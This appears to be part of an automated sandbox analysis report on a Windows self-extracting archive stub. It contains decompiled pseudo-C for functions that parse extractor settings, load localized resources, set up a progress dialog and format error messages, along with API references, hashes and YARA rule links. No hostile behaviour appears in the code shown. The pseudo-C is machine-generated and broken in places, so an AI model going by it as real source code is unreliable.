					_t41 =  *0x42285c; // 0x9def98
					 *0x422760 = _t41;
					E00414864(0x422884, _t98);
					_t76 = 0x29;
					E00414922(0x422884, E00403CE0(_t76));
					_t45 =  *0x422884; // 0x9d12c0
					 *0x42274c = _t45;
					 *0x422738 = _t98;
				}
				_t12 = E00404F59();
				if(_t12 != 0) {
					 *0x422760 = _t12;
				}
				_t13 = E00404F59();
				if(_t13 != 0) {
					 *0x42274c = _t13;
				}
				_t14 = E00404F59();
				if(_t14 != 0) {
					 *0x42273c = _t14;
				}
				_t15 = E00404F59();
				if(_t15 != 0 && lstrcmpiW(_t15, L"no") == 0) {
					 *0x422770 = 2;
				}
				_t16 = E00404F59();
				_t99 = 0x30;
				if(_t16 != 0) {
					_t35 =  *_t16 & 0x0000ffff;
					if(_t35 >= _t99 && _t35 <= 0x32) {
						 *0x422770 = _t35 - _t99;
					}
				}
				if(E00404F59() != 0) {
					E00405601(_t17);
				}
				_v8 = _v8 & 0x00000000;
				while(1) {
					_t18 = E00404F59();
					if(_t18 == 0) {
						break;
					}
					_v8 = _v8 + 1;
					E004055BC(_t18);
				}
				_v8 = _v8 & _t18;
				while(E00404F59() != 0) {
					_v8 = _v8 + 1;
					E004055E3(_t20);
				}
				 *0x422750 = E00404F59();
				 *0x422758 = E00404F59();
				_t24 = E00404F59();
				_t104 = __imp___wtol;
				if(_t24 != 0) {
					 *0x422460 =  *_t104(_t24);
				}
				_t25 = E00404F59();
				if(_t25 != 0) {
					 *0x422464 =  *_t104(_t25);
				}
				_t26 = E00404F59();
				if(_t26 != 0) {
					 *0x422754 = _t26;
				}
				_t27 = E00404F59();
				if(_t27 != 0) {
					 *0x422748 = _t27;
				}
				_t28 = E00404F59();
				if(_t28 != 0) {
					 *0x422744 = _t28;
				}
				_t29 = E00404F59();
				if(_t29 == 0) {
					_t29 =  *0x422738; // 0x22109c0
				}
				 *0x422764 = _t29;
				_t30 = E00404F59();
				if(_t30 == 0) {
					_t68 = 0x2c;
					_t30 = E00403CE0(_t68);
				}
				 *0x422768 = _t30;
				_t31 = E00404F59();
				if(_t31 != 0) {
					_t31 =  *_t31 & 0x0000ffff;
					if(_t31 >= _t99 && _t31 <= 0x39) {
						_t31 = _t31 - _t99;
						 *0x42276c = _t31;
					}
				}
				return _t31;
			}

0x0040572c
0x0040573b
0x0040573f
0x00405749
0x00405750
0x00405759
0x0040575e
0x0040576b
0x00405770
0x00405777
0x00405780
0x00405785
0x0040578a
0x0040578f
0x0040578f
0x0040579c
0x004057a3
0x004057a5
0x004057a5
0x004057b1
0x004057b8
0x004057ba
0x004057ba
0x004057c6
0x004057cd
0x004057cf
0x004057cf
0x004057db
0x004057e2
0x004057f4
0x004057f4
0x00405805
0x0040580c
0x0040580f
0x00405811
0x00405817
0x00405820
0x00405820
0x00405817
0x00405833
0x00405837
0x00405837
0x0040583c
0x00405851
0x00405856
0x0040585d
0x00000000
0x00000000
0x00405847
0x0040584c
0x0040584c
0x0040585f
0x00405873
0x00405869
0x0040586e
0x0040586e
0x00405894
0x004058a5
0x004058aa
0x004058af
0x004058b7
0x004058bd
0x004058bd
0x004058c9
0x004058d0
0x004058d6
0x004058d6
0x004058e2
0x004058e9
0x004058eb
0x004058eb
0x004058f7
0x004058fe
0x00405900
0x00405900
0x0040590c
0x00405913
0x00405915
0x00405915
0x00405921
0x00405928
0x0040592a
0x0040592a
0x00405936
0x0040593b
0x00405942
0x00405946
0x00405947
0x00405947
0x00405953
0x00405958
0x0040595f
0x00405961
0x00405967
0x0040596e
0x00405970
0x00405970
0x00405967
0x00405978

APIs

lstrcmpiW.KERNEL32(00000000,0041EAFC,?,00422148,?,?,004065DA,?,00000000), ref: 004057EA
_wtol.MSVCRT(00000000,?,00422148,?,?,004065DA,?), ref: 004058BA
_wtol.MSVCRT(00000000,?,00422148,?,?,004065DA,?), ref: 004058D3

Part of subcall function 00414864: ??2@YAPAXI@Z.MSVCRT ref: 00414896
Part of subcall function 00414864: ??3@YAXPAX@Z.MSVCRT ref: 0041489F
Part of subcall function 00414864: memcpy.MSVCRT ref: 004148B7

Part of subcall function 00414922: memcpy.MSVCRT ref: 0041494F

Part of subcall function 00403CE0: GetLastError.KERNEL32(?,?,00000000), ref: 00403D2F
Part of subcall function 00403CE0: wsprintfW.USER32 ref: 00403D40
Part of subcall function 00403CE0: GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 00403D55
Part of subcall function 00403CE0: GetLastError.KERNEL32 ref: 00403D5A
Part of subcall function 00403CE0: ??2@YAPAXI@Z.MSVCRT ref: 00403D75
Part of subcall function 00403CE0: GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00403D88
Part of subcall function 00403CE0: GetLastError.KERNEL32 ref: 00403D8F
Part of subcall function 00403CE0: lstrcmpiW.KERNEL32(00000000,00000000), ref: 00403DA4
Part of subcall function 00403CE0: ??3@YAXPAX@Z.MSVCRT ref: 00403DB4
Part of subcall function 00403CE0: SetLastError.KERNEL32(?), ref: 00403DDB
Part of subcall function 00403CE0: lstrlenA.KERNEL32(0041E930), ref: 00403E11
Part of subcall function 00403CE0: ??2@YAPAXI@Z.MSVCRT ref: 00403E2C
Part of subcall function 00403CE0: GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 00403E5E

Part of subcall function 004055E3: _wtol.MSVCRT(00000000,00000030,GUIFlags,00405851,?,00422148,?,?,004065DA,?), ref: 00405580

Strings

MiscFlags, xrefs: 00405862
Progress, xrefs: 004057D6
ExtractPathWidth, xrefs: 004058C4
PasswordTitle, xrefs: 0040591C
OverwriteMode, xrefs: 00405827
Title, xrefs: 00405731
GUIFlags, xrefs: 00405840
GUIMode, xrefs: 00405800
\(B, xrefs: 00405741
WarningTitle, xrefs: 004057AC
VolumeNameStyle, xrefs: 0040594E
ExtractPathTitle, xrefs: 004058DD
ExtractPathText, xrefs: 004058F2
PasswordText, xrefs: 00405931
ErrorTitle, xrefs: 00405797
ExtractCancelText, xrefs: 00405883
ExtractDialogText, xrefs: 0040588F
ExtractDialogWidth, xrefs: 004058A0
ExtractTitle, xrefs: 004057C1
CancelPrompt, xrefs: 00405907

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$??2@_wtol$??3@EnvironmentVariablelstrcmpimemcpy$InfoLocalelstrlenwsprintf
String ID: CancelPrompt$ErrorTitle$ExtractCancelText$ExtractDialogText$ExtractDialogWidth$ExtractPathText$ExtractPathTitle$ExtractPathWidth$ExtractTitle$GUIFlags$GUIMode$MiscFlags$OverwriteMode$PasswordText$PasswordTitle$Progress$Title$VolumeNameStyle$WarningTitle$\(B
API String ID: 730802180-3274096255
Opcode ID: 4913305cdd4d8d816ceef7353569ed64abbb5de1f3083bffcd8f5a9aa583c26b
Instruction ID: 01810da2686b2e6648b7138d9e83176c772a0bf1dd2896189787ed4a5fe29933
Opcode Fuzzy Hash: 4913305cdd4d8d816ceef7353569ed64abbb5de1f3083bffcd8f5a9aa583c26b
Instruction Fuzzy Hash: 4B5192F1F00612AAD728FB775A1166B66D6DBC4344B44C03F9A09E72D5EFBCC8428A1C

Uniqueness

Uniqueness Score: -1.00%

Function 00403CE0, Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 148
stringCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E00403CE0(WCHAR* __ecx) {
				WCHAR* _v8;
				long _v12;
				long _v16;
				short _v104;
				short _v168;
				WCHAR* _t52;
				short* _t55;
				WCHAR* _t60;
				int _t61;
				WCHAR* _t65;
				long _t67;
				WCHAR* _t68;
				WCHAR* _t69;
				int _t71;
				intOrPtr* _t73;
				char* _t78;
				WCHAR* _t79;
				signed int _t94;
				signed int _t96;
				int _t101;
				WCHAR* _t102;
				signed int _t103;
				signed int _t104;
				intOrPtr _t107;

				_t79 = __ecx;
				_t103 = 0;
				_v8 = __ecx;
				_t107 =  *0x422158; // 0x1
				if(_t107 == 0) {
					L4:
					_t104 = _t103 << 4;
					if( *((intOrPtr*)(_t104 + 0x422158)) != 0) {
						_v16 = GetLastError();
						wsprintfW( &_v104, L"SfxString%d", _v8);
						_v12 = GetEnvironmentVariableW( &_v104, 0, 0);
						__eflags = GetLastError();
						if(__eflags != 0) {
							L17:
							SetLastError(_v16);
							_t28 = _t104 + 0x422164; // 0x0
							_t52 =  *_t28;
							__eflags = _t52;
							if(_t52 == 0) {
								_t29 = _t104 + 0x42215c; // 0x41e930
								_t78 =  *_t29;
								__eflags =  *(_t104 + 0x422160) - _t52;
								if(__eflags != 0) {
									__eflags = E00403C85(_t52) -  *0x41ea18; // 0x419
									if(__eflags == 0) {
										_t31 = _t104 + 0x422160; // 0x41e848
										_t78 =  *_t31;
									}
								}
								_t32 = lstrlenA(_t78) + 1; // 0x1
								_t101 = _t32;
								_t94 = 2;
								_t33 = _t101 + 2; // 0x3
								_t55 = _t33 * _t94;
								_push( ~(0 | __eflags > 0x00000000) | _t55);
								L0041C16C();
								__eflags =  *0x42211c - 0xffffffff;
								 *(_t104 + 0x422164) = _t55;
								if( *0x42211c == 0xffffffff) {
									 *0x42211c =  *0x42211c & 0x00000000;
									_t60 = GetLocaleInfoW( *0x422730 & 0x0000ffff, 0x1004,  &_v168, 0x1f);
									__eflags = _t60;
									if(_t60 > 0) {
										_t61 =  &_v168;
										__imp___wtol(_t61);
										 *0x42211c = _t61;
									}
								}
								_t43 = _t101 + 1; // 0x2
								_t44 = _t104 + 0x422164; // 0x0
								MultiByteToWideChar( *0x42211c, 0, _t78, _t101,  *_t44, _t43);
								_t45 = _t104 + 0x422164; // 0x0
								_t52 =  *_t45;
							}
							return _t52;
						}
						_t96 = 2;
						_t65 = (_v12 + 2) * _t96;
						_push( ~(0 | __eflags > 0x00000000) | _t65);
						L0041C16C();
						_v8 = _t65;
						_t67 = GetEnvironmentVariableW( &_v104, _t65, _v12 + 1);
						__eflags = _t67 - _v12;
						if(_t67 > _v12) {
							L14:
							_push(_v8);
							L15:
							L0041C160();
							L16:
							goto L17;
						}
						_t68 = GetLastError();
						__eflags = _t68;
						if(_t68 != 0) {
							goto L14;
						}
						_t20 = _t104 + 0x422164; // 0x0
						_t69 =  *_t20;
						__eflags = _t69;
						if(_t69 == 0) {
							 *(_t104 + 0x422164) = _v8;
							goto L17;
						}
						_t102 = _v8;
						_t71 = lstrcmpiW(_t69, _t102);
						__eflags = _t71;
						if(_t71 == 0) {
							_push(_t102);
							goto L15;
						}
						_t22 = _t104 + 0x422164; // 0x0
						_push( *_t22);
						L0041C160();
						 *(_t104 + 0x422164) = _t102;
						goto L16;
					}
					return 0x41da3c;
				} else {
					_t73 = 0x422158;
					while( *_t73 != _t79) {
						_t103 = _t103 + 1;
						_t2 = (_t103 << 4) + 0x422158; // 0x30000000
						_t73 = _t2;
						if( *_t73 != 0) {
							continue;
						}
						goto L4;
					}
					goto L4;
				}
			}

0x00403ce0
0x00403ced
0x00403cef
0x00403cf2
0x00403cf8
0x00403d13
0x00403d13
0x00403d1c
0x00403d34
0x00403d40
0x00403d57
0x00403d5c
0x00403d5e
0x00403dd8
0x00403ddb
0x00403de1
0x00403de1
0x00403de7
0x00403de9
0x00403def
0x00403def
0x00403df5
0x00403dfb
0x00403e02
0x00403e08
0x00403e0a
0x00403e0a
0x00403e0a
0x00403e08
0x00403e17
0x00403e17
0x00403e1e
0x00403e1f
0x00403e22
0x00403e2b
0x00403e2c
0x00403e31
0x00403e39
0x00403e3f
0x00403e41
0x00403e5e
0x00403e64
0x00403e66
0x00403e68
0x00403e6f
0x00403e76
0x00403e76
0x00403e66
0x00403e7b
0x00403e7f
0x00403e8f
0x00403e95
0x00403e95
0x00403e95
0x00000000
0x00403e9b
0x00403d6a
0x00403d6b
0x00403d74
0x00403d75
0x00403d81
0x00403d88
0x00403d8a
0x00403d8d
0x00403dcf
0x00403dcf
0x00403dd2
0x00403dd2
0x00403dd7
0x00000000
0x00403dd7
0x00403d8f
0x00403d91
0x00403d93
0x00000000
0x00000000
0x00403d95
0x00403d95
0x00403d9b
0x00403d9d
0x00403dc7
0x00000000
0x00403dc7
0x00403d9f
0x00403da4
0x00403daa
0x00403dac
0x00403dc1
0x00000000
0x00403dc1
0x00403dae
0x00403dae
0x00403db4
0x00403db9
0x00000000
0x00403db9
0x00000000
0x00403cfa
0x00403cfa
0x00403cff
0x00403d03
0x00403d09
0x00403d09
0x00403d11
0x00000000
0x00000000
0x00000000
0x00403d11
0x00000000
0x00403cff

APIs

GetLastError.KERNEL32(?,?,00000000), ref: 00403D2F
wsprintfW.USER32 ref: 00403D40
GetEnvironmentVariableW.KERNEL32(?,00000000,00000000), ref: 00403D55
GetLastError.KERNEL32 ref: 00403D5A
??2@YAPAXI@Z.MSVCRT ref: 00403D75
GetEnvironmentVariableW.KERNEL32(?,00000000,?), ref: 00403D88
GetLastError.KERNEL32 ref: 00403D8F
lstrcmpiW.KERNEL32(00000000,00000000), ref: 00403DA4
??3@YAXPAX@Z.MSVCRT ref: 00403DB4
??3@YAXPAX@Z.MSVCRT ref: 00403DD2
SetLastError.KERNEL32(?), ref: 00403DDB
lstrlenA.KERNEL32(0041E930), ref: 00403E11
??2@YAPAXI@Z.MSVCRT ref: 00403E2C
GetLocaleInfoW.KERNEL32(?,00001004,?,0000001F), ref: 00403E5E
_wtol.MSVCRT(?), ref: 00403E6F
MultiByteToWideChar.KERNEL32(00000000,0041E930,00000001,00000000,00000002), ref: 00403E8F

Strings

SfxString%d, xrefs: 00403D3A
X!B, xrefs: 00403CFA

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$??2@??3@EnvironmentVariable$ByteCharInfoLocaleMultiWide_wtollstrcmpilstrlenwsprintf
String ID: SfxString%d$X!B
API String ID: 2117570002-850189017
Opcode ID: 6c90256099afbc114151a8a56de0fb82012744aac624a816c561cb5194af7896
Instruction ID: 68e66196db71daaa07867c957ec585132196606c956435e67b7422de32b8828f
Opcode Fuzzy Hash: 6c90256099afbc114151a8a56de0fb82012744aac624a816c561cb5194af7896
Instruction Fuzzy Hash: 71519171A00205BFDB20DF64DE45DAB7BBCEF44741F50453AE206E6290EBB4AE61CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00409332, Relevance: 28.6, APIs: 19, Instructions: 149
windowcomtimeCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00409332(void* __edx, void* __eflags) {
				int _v4;
				char _v8;
				void* __ecx;
				intOrPtr _t30;
				intOrPtr* _t33;
				signed int _t44;
				struct HMENU__* _t49;
				signed int _t53;
				intOrPtr _t62;
				void* _t71;
				intOrPtr _t74;
				signed int _t83;

				_t71 = __edx;
				_t74 = _t62;
				 *0x4228c4 =  *(_t74 + 4);
				 *0x4228c8 = _t74;
				E004079B7(_t62, 0x4b8, 1);
				SendMessageW(GetDlgItem( *(_t74 + 4), 0x4b8), 0x401, 0, 0x75300000);
				_t30 =  *0x422750; // 0x0
				if(_t30 != 0) {
					E00407DB7(_t74, _t71, 0x4b4, _t30);
					E0040790B(GetDlgItem( *(_t74 + 4), 0x4b4),  *0x422750);
				}
				if(( *0x42245c & 0x00000004) != 0) {
					E004079B7(_t74, 0x4b5, 1);
					_t53 = GetWindowLongW(GetDlgItem( *(_t74 + 4), 0x4b5), 0xfffffff0);
					SetWindowLongW(GetDlgItem( *(_t74 + 4), 0x4b5), 0xfffffff0, _t53 | 0x00000001);
					E00408183(_t74);
				}
				if( *0x422770 == 1) {
					E004079B7(_t74, 0x4b4, 0);
					_t49 = GetSystemMenu( *(_t74 + 4), 0);
					if(_t49 != 0) {
						EnableMenuItem(_t49, 0xf060, 1);
					}
				}
				SetFocus(GetDlgItem( *(_t74 + 4), 0x4b4));
				_t83 =  *0x4228d4; // 0x0
				if(_t83 != 0) {
					 *((intOrPtr*)(_t74 + 0x68)) = 0;
					 *((intOrPtr*)(_t74 + 0x6c)) = 0;
					 *((intOrPtr*)(_t74 + 0x60)) = 0x64;
					 *((intOrPtr*)(_t74 + 0x64)) = 0;
					_t44 =  *0x4228d4; // 0x0
					SetTimer( *(_t74 + 4), 1, _t44 * 0xa, 0);
				}
				_t33 = _t74 + 0x70;
				 *_t33 = 0;
				if(( *0x42245c & 0x00002000) == 0) {
					__imp__CoCreateInstance(0x41fa54, 0, 1, 0x41efe4, _t33);
					if(_t33 == 0) {
						E0040816A(_t74, 1);
					}
				}
				if( *0x422770 == 1 && IsWindow(GetDlgItem( *(_t74 + 4), 2)) != 0) {
					EnableWindow(GetDlgItem( *(_t74 + 4), 2), 0);
				}
				_t89 =  *0x42245c & 0x00000004;
				if(( *0x42245c & 0x00000004) == 0) {
					ShowWindow(GetDlgItem( *(_t74 + 4), 0x4b5), 0);
				}
				_v8 = 0;
				_v4 = 0;
				E0040885E(_t74, _t71, _t89,  &_v8);
				return E00408E57(_t71);
			}

0x00409332
0x00409338
0x00409345
0x0040934a
0x00409350
0x0040936e
0x00409374
0x00409380
0x00409386
0x0040939a
0x0040939a
0x004093ab
0x004093b2
0x004093c0
0x004093d3
0x004093db
0x004093db
0x004093e7
0x004093ee
0x004093f9
0x00409401
0x0040940b
0x0040940b
0x00409401
0x00409418
0x00409420
0x00409426
0x00409428
0x0040942b
0x0040942e
0x00409435
0x00409438
0x00409447
0x00409447
0x0040944d
0x00409450
0x0040945c
0x0040946c
0x00409474
0x0040947a
0x0040947a
0x00409474
0x00409486
0x004094a3
0x004094a3
0x004094a9
0x004094b0
0x004094ba
0x004094ba
0x004094c7
0x004094cb
0x004094cf
0x004094e1

APIs

Part of subcall function 004079B7: GetDlgItem.USER32 ref: 004079C4
Part of subcall function 004079B7: ShowWindow.USER32(00000000,?), ref: 004079DB

GetDlgItem.USER32 ref: 0040935F
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040936E
GetDlgItem.USER32 ref: 00409395

Part of subcall function 0040790B: SetWindowTextW.USER32(00000000,00000000), ref: 00407913

Part of subcall function 0040885E: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00408896
Part of subcall function 0040885E: GetDlgItem.USER32 ref: 004088BA
Part of subcall function 0040885E: SendMessageW.USER32(00000000,00000402,00000000,00000000), ref: 004088C7
Part of subcall function 0040885E: wsprintfW.USER32 ref: 004088E7
Part of subcall function 0040885E: GetDlgItem.USER32 ref: 00408905
Part of subcall function 0040885E: ??3@YAXPAX@Z.MSVCRT ref: 00408993

Part of subcall function 00408E57: GetModuleHandleW.KERNEL32(00000000,00000065,000004B7,?,?,?,?,?,00409247), ref: 00408E81
Part of subcall function 00408E57: LoadIconW.USER32(00000000), ref: 00408E84
Part of subcall function 00408E57: GetSystemMetrics.USER32 ref: 00408E98
Part of subcall function 00408E57: GetSystemMetrics.USER32 ref: 00408E9D
Part of subcall function 00408E57: GetModuleHandleW.KERNEL32(00000000,00000065,00000001,00000000,?,?,?,?,?,00409247), ref: 00408EA6
Part of subcall function 00408E57: LoadImageW.USER32 ref: 00408EA9
Part of subcall function 00408E57: SendMessageW.USER32(?,00000080,00000001,?), ref: 00408EC9
Part of subcall function 00408E57: SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00408ED2
Part of subcall function 00408E57: GetDlgItem.USER32 ref: 00408EEF
Part of subcall function 00408E57: GetDlgItem.USER32 ref: 00408EF9
Part of subcall function 00408E57: GetWindowLongW.USER32(?,000000F0), ref: 00408F05
Part of subcall function 00408E57: SetWindowLongW.USER32 ref: 00408F14
Part of subcall function 00408E57: GetDlgItem.USER32 ref: 00408F22
Part of subcall function 00408E57: GetDlgItem.USER32 ref: 00408F30
Part of subcall function 00408E57: GetWindowLongW.USER32(000000F0,000000F0), ref: 00408F3C
Part of subcall function 00408E57: SetWindowLongW.USER32 ref: 00408F4B
Part of subcall function 00408E57: GetDlgItem.USER32 ref: 00408F58

GetDlgItem.USER32 ref: 004093BB
GetWindowLongW.USER32(00000000,000000F0), ref: 004093C0
GetDlgItem.USER32 ref: 004093D0
SetWindowLongW.USER32 ref: 004093D3
GetSystemMenu.USER32(?,00000000,000004B4,00000000), ref: 004093F9
EnableMenuItem.USER32 ref: 0040940B
GetDlgItem.USER32 ref: 00409415
SetFocus.USER32(00000000), ref: 00409418
SetTimer.USER32(?,00000001,00000000,00000000), ref: 00409447
CoCreateInstance.OLE32(0041FA54,00000000,00000001,0041EFE4,?), ref: 0040946C
GetDlgItem.USER32 ref: 0040948D
IsWindow.USER32(00000000), ref: 00409490
GetDlgItem.USER32 ref: 004094A0
EnableWindow.USER32(00000000), ref: 004094A3
GetDlgItem.USER32 ref: 004094B7
ShowWindow.USER32(00000000), ref: 004094BA

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: Item$Window$Long$MessageSend$System$EnableHandleLoadMenuMetricsModuleShow$??3@CreateFocusIconImageInstanceTextTimerUnothrow_t@std@@@__ehfuncinfo$??2@wsprintf
String ID:
API String ID: 957878288-0
Opcode ID: e2f02459deb40e79b423d59a5e6600ce65444f24f98bf66ec9fc20f3b27b8bdb
Instruction ID: 82f3168065e5e37885ea10ad8f323bea47048e436c2f5ba3df634f29c1837039
Opcode Fuzzy Hash: e2f02459deb40e79b423d59a5e6600ce65444f24f98bf66ec9fc20f3b27b8bdb
Instruction Fuzzy Hash: E14155B0604709BBDA206B21DD49F5B7B9DEB84B04F40453EF555A62E1CB79AC01CB2D

Uniqueness

Uniqueness Score: -1.00%

Function 00403908, Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 82
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00403908(CHAR* __ecx, CHAR* __edx, intOrPtr* _a4) {
				struct HINSTANCE__* _v8;
				CHAR* _v12;
				CHAR* _v16;
				short _v80;
				struct HINSTANCE__* _t14;
				void* _t16;
				struct HRSRC__* _t28;
				_Unknown_base(*)()* _t29;
				intOrPtr* _t35;

				_v12 = __edx;
				_v16 = __ecx;
				_t14 = GetModuleHandleW(0);
				_v8 = _t14;
				_t28 = FindResourceExA(_t14, _v16, _v12,  *0x422730 & 0x0000ffff);
				if(_t28 != 0) {
					L2:
					_t35 = _a4;
					if(_t35 != 0) {
						 *_t35 = SizeofResource(_v8, _t28);
					}
					_t16 = LoadResource(_v8, _t28);
					if(_t16 == 0) {
						L6:
						if( *0x422734 != 0) {
							L10:
							return 0;
						}
						 *0x422734 = 1;
						_t29 = GetProcAddress( *0x42275c, "SetProcessPreferredUILanguages");
						wsprintfW( &_v80, L"%04X%c%04X%c",  *0x422730 & 0x0000ffff, 0, 0x409, 0);
						if(_t29 != 0) {
							L9:
							 *_t29(4,  &_v80, 0);
							goto L10;
						}
						_t29 = GetProcAddress( *0x42275c, "SetThreadPreferredUILanguages");
						if(_t29 == 0) {
							goto L10;
						}
						goto L9;
					} else {
						return LockResource(_t16);
					}
				}
				_t28 = FindResourceExA(_v8, _v16, _v12, 0x409);
				if(_t28 == 0) {
					goto L6;
				}
				goto L2;
			}

0x00403913
0x00403916
0x00403919
0x00403930
0x00403939
0x00403942
0x00403956
0x00403956
0x0040395b
0x00403967
0x00403967
0x0040396d
0x00403975
0x00403980
0x00403987
0x004039e8
0x00000000
0x004039e8
0x0040399a
0x004039a8
0x004039be
0x004039c9
0x004039de
0x004039e6
0x00000000
0x004039e6
0x004039d8
0x004039dc
0x00000000
0x00000000
0x00000000
0x00403977
0x00000000
0x00403978
0x00403975
0x00403950
0x00403954
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00403919
FindResourceExA.KERNEL32(00000000,?,?), ref: 00403937
FindResourceExA.KERNEL32(?,?,?,00000409), ref: 0040394E
SizeofResource.KERNEL32(?,00000000), ref: 00403961
LoadResource.KERNEL32(?,00000000), ref: 0040396D
LockResource.KERNEL32(00000000), ref: 00403978
GetProcAddress.KERNEL32(SetProcessPreferredUILanguages), ref: 004039A4
wsprintfW.USER32 ref: 004039BE
GetProcAddress.KERNEL32(SetThreadPreferredUILanguages), ref: 004039D6

Strings

%04X%c%04X%c, xrefs: 004039B8
SetProcessPreferredUILanguages, xrefs: 0040398F
SetThreadPreferredUILanguages, xrefs: 004039CB

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: Resource$AddressFindProc$HandleLoadLockModuleSizeofwsprintf
String ID: %04X%c%04X%c$SetProcessPreferredUILanguages$SetThreadPreferredUILanguages
API String ID: 2090077119-3413765421
Opcode ID: 9ff9c65ee6ad474d1f94e696075432f17a425964b421737aef398b4ac16ad6db
Instruction ID: fb6bf53818f6b5e578f497660123dac7438a07a30edb6be36b630e0bf9700e61
Opcode Fuzzy Hash: 9ff9c65ee6ad474d1f94e696075432f17a425964b421737aef398b4ac16ad6db
Instruction Fuzzy Hash: 68212FB1E00215BBDB105FA59D45B9FBFBCEB48701F104076EA00B22A0D7F59D51DB98

Uniqueness

Uniqueness Score: -1.00%

Function 00409684, Relevance: 16.6, APIs: 11, Instructions: 94
stringwindowCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E00409684(void* __edx, short _a4, WCHAR* _a8, char _a12) {
				char* _v8;
				long _v12;
				short _v2060;
				WCHAR* _t28;
				long _t32;
				int _t36;
				WCHAR* _t38;
				WCHAR* _t41;
				WCHAR* _t50;
				char* _t52;
				short _t62;
				void* _t65;
				signed int _t66;
				signed int _t69;
				long _t75;

				_t65 = __edx;
				_t28 = E00403CE0(_a8);
				_t52 =  &_a12;
				_v8 = _t52;
				wvsprintfW( &_v2060, _t28, _t52);
				if(_a4 == 0) {
					L4:
					return E0040959E( &_v2060, _t65);
				}
				_t32 = GetLastError();
				_v12 = _t32;
				if(FormatMessageW(0x1100, 0, _t32,  *0x422730 & 0x0000ffff,  &_a4, 0,  &_v8) != 0) {
					L3:
					_t69 = lstrlenW( &_v2060);
					_t36 = lstrlenW(_a4);
					_t37 = _t36 + _t69 + 2;
					_t66 = 2;
					_t38 = (_t36 + _t69 + 2) * _t66;
					_push( ~(0 | _t75 > 0x00000000) | _t38);
					L0041C16C();
					_t50 = _t38;
					lstrcpyW(_t50,  &_v2060);
					_t62 = 0xa;
					_t41 =  &(_t50[_t69]);
					 *_t41 = _t62;
					lstrcpyW( &(_t41[1]), _a4);
					E0040959E(_t50, _t37 * _t66 >> 0x20);
					_push(_t50);
					L0041C160();
					return LocalFree(_a4);
				}
				_t75 = FormatMessageW(0x1100, 0, _v12, 0,  &_a4, 0,  &_v8);
				if(_t75 == 0) {
					goto L4;
				}
				goto L3;
			}

0x00409684
0x00409693
0x00409698
0x004096a4
0x004096a7
0x004096b2
0x00409767
0x00000000
0x0040976d
0x004096b8
0x004096dd
0x004096e4
0x004096fb
0x0040970d
0x0040970f
0x00409715
0x00409719
0x0040971a
0x00409723
0x00409724
0x0040972f
0x0040973a
0x0040973e
0x0040973f
0x00409742
0x0040974c
0x00409750
0x00409755
0x00409756
0x00000000
0x0040975f
0x004096f7
0x004096f9
0x00000000
0x00000000
0x00000000

APIs

wvsprintfW.USER32(?,00000000,?), ref: 004096A7
GetLastError.KERNEL32 ref: 004096B8
FormatMessageW.KERNEL32(00001100,00000000,00000000,?,?,00000000,009D2650), ref: 004096E0
FormatMessageW.KERNEL32(00001100,00000000,?,00000000,?,00000000,009D2650), ref: 004096F5
lstrlenW.KERNEL32(?), ref: 00409708
lstrlenW.KERNEL32(?), ref: 0040970F
??2@YAPAXI@Z.MSVCRT ref: 00409724
lstrcpyW.KERNEL32(00000000,?), ref: 0040973A
lstrcpyW.KERNEL32(-00000002,?), ref: 0040974C
??3@YAXPAX@Z.MSVCRT ref: 00409756
LocalFree.KERNEL32(?), ref: 0040975F

Memory Dump Source

Source File: 0000000D.00000002.708893020.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.708888095.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708910578.000000000041D000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.708919422.0000000000422000.00000004.00020000.sdmp Download File
Associated: 0000000D.00000002.708925367.0000000000427000.00000002.00020000.sdmp Download File

Similarity

API ID: FormatMessagelstrcpylstrlen$??2@??3@ErrorFreeLastLocalwvsprintf
String ID:
